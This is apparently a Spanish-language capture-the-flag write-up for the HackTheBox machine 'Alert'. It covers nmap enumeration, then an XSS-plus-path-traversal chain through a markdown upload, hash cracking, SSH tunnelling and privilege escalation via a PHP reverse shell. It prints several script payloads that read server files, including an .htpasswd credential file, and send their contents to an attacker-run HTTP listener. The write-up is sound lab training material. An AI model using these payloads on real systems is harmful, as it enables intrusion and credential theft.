Alert

nmap -Pn -p- --min-rate 5000 -sC -sV -oN nmap-alert.txt 10.10.11.44

Análisis de resultados del escaneo de NMap

Puertos abiertos:

Puerto 22 (SSH)

  • Estado : Abierto

  • Servicio : SSH

  • Versión : OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocolo 2.0)

  • Notas :

    • La presencia de OpenSSH sugiere que este servicio es para administración remota.

    • La versión 8.2p1 tiene vulnerabilidades conocidas (por ejemplo, CVE-2020-15778). Verifique el estado del parche o pruebe técnicas de enumeración SSH.

    • La ssh-hostkeysalida proporciona tres tipos de claves (RSA, ECDSA, ED25519), útiles para tomar huellas digitales o verificar la autenticidad durante la conexión.

Puerto 80 (HTTP)

  • Estado : Abierto

  • Servicio : HTTP (Apache)

  • Versión : Apache httpd 2.4.41 ((Ubuntu))

  • Notas :

    • El servidor web redirecciona a http://alert.htb/. Puede ser un host virtual; asegúrese de que el Hostencabezado esté configurado durante la exploración posterior.

    • La versión 2.4.41 puede tener vulnerabilidades potenciales como CVE-2020-11984 o CVE-2020-13950. Verifique el estado del parche.

    • El dominio redirigido sugiere un posible punto de entrada para la explotación web o la enumeración de directorios.

Puertos filtrados:

Puerto 12227

Revise las reglas del firewall o las configuraciones de enrutamiento para realizar una investigación más detallada.

  • Estado : filtrado

  • Servicio : Desconocido

  • Notas :

    • El puerto está filtrado, lo que significa que no hay respuesta o está bloqueado por un firewall.

    • Podría albergar un servicio inusual o personalizado. Pruebe técnicas como udp-scan, service-fingerprint, o firewalkpara recopilar más información.

    • Revise las reglas del firewall o las configuraciones de enrutamiento para realizar una investigación más detallada.

Entramos a la pagina el cual se puede subir archivos .md

En la página web, había una función de carga de archivos markdown ( .md) y una opción de vista previa que mostraba el contenido. Inicialmente, intenté extraer información de .mdlos archivos cargados, pero esos intentos no arrojaron ningún resultado útil. Después de experimentar con diferentes cargas útiles y técnicas, identifiqué y exploté con éxito una vulnerabilidad XSS a través de la .mdfunción de carga de archivos.

Explotación

Utilice su experiencia en la explotación de vulnerabilidades descubiertas durante la enumeración en la página web, incluyendo el uso de credenciales predeterminadas de texto simple cuando corresponda. Ejecute ataques efectivos para obtener acceso a la raíz rápidamente. Emplee varios métodos, incluyendo diferentes métodos como cargas útiles PHP o inyecciones XSS, para lograr el máximo impacto. Utilice puertos abiertos en su máquina local para establecer un shell inverso rápidamente. Obtenga una copia de la fuente para navegar por el sistema hábilmente y evitar caer en una madriguera de conejo. Mejore sus habilidades dominando el arte de la persistencia y la escalada para adquirir las credenciales necesarias, incluyendo aprender a trabajar con valores hash. Capture la bandera explotando debilidades estratégicamente. Obtenga puntos de bonificación demostrando competencia en la explotación del sistema con John, la reconocida herramienta para descifrar contraseñas. Domine la fase de explotación para avanzar con éxito en Alert en HackTheBox, htb.

Hospedaje de un servidor malicioso

Para extraer datos del sistema de destino, configuré un servidor HTTP Python3 en el puerto 8888para capturar la salida de mi carga útil.

python3 -m http.server 8888

Este servidor actuó como un oyente, listo para recibir cualquier dato obtenido y enviado por el exploit creado.

Cómo subir un archivo Markdown malicioso

La carga útil estaba incrustada en un .mdarchivo que contenía el siguiente script malicioso:

<script>
fetch("http://alert.htb/messages.php?file=filepath")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.xx.xx:8888/?file_content=" + encodeURIComponent(data));
  });
</script>

Cuando se cargó este archivo, se aprovechó la vulnerabilidad LFI de la aplicación para obtener archivos confidenciales y redirigir su contenido a mi servidor.

  • El codigo malicioso lo pondremos en archivo .md para subirlo a travez Markdown Viewer para despues el link que nos proporciona pasarlo por contact us y asi tener la revershell por el nc:

Ampliando la superficie de ataque

Después de identificar a los usuarios potenciales, intenté forzar las credenciales SSH. Sin embargo, estos intentos no dieron resultado. Cambié el enfoque y exploré los archivos de configuración de Apache utilizando cargas útiles ajustadas:

Obtención de configuraciones de Apache

<script>
fetch("http://alert.htb/messages.php?file=../../../etc/apache2/sites-enabled/000-default.conf")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.21.21:8888/?file_content=" + encodeURIComponent(data));
  });
</script>

Extracción de archivos de contraseñas de Apache

<script>
fetch("http://alert.htb/messages.php?file=../../../var/www/statistics.alert.htb/.htpasswd")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.21.21:8888/?file_content=" + encodeURIComponent(data));
  });
</script>

Estas cargas útiles proporcionaron detalles de configuración críticos y una credencial en formato hash almacenada en formato .htpasswd.

Esto parece un cifrado hash utilizando fuerza bruta la encontramos:

  • Bien ahora teniendo la contraseña entramos por ssh:

  • Ahora intentaremos escalar privilegios:

Subí linpeas y descubrí que 8080 está abierto

Reenviar el puerto

Por qué usar esto? Seguridad: El túnel SSH cifra todo el tráfico entre tu máquina local y la máquina remota. Acceso a servicios internos: Te permite acceder a servicios que solo están disponibles en localhost en la máquina remota (es decir, servicios que no son accesibles desde la red pública).

ssh -L 8080:127.0.0.1:8080 albert@alert.htb

  • Dentro de la máquina comprometida, el objetivo será identificar directorios con permisos adecuados que permitan subir y ejecutar una reverse shell, lo que podría facilitar la escalación de privilegios a superusuario. Este proceso se realiza en varias etapas:

. Creamos el php con el codigo malicioso:

. Una vez creado nos redirigimos directamente a esa ruta pero antes tenemos que estar en la escucha con:

Y asi logramos ser root en la maquina :)

Last updated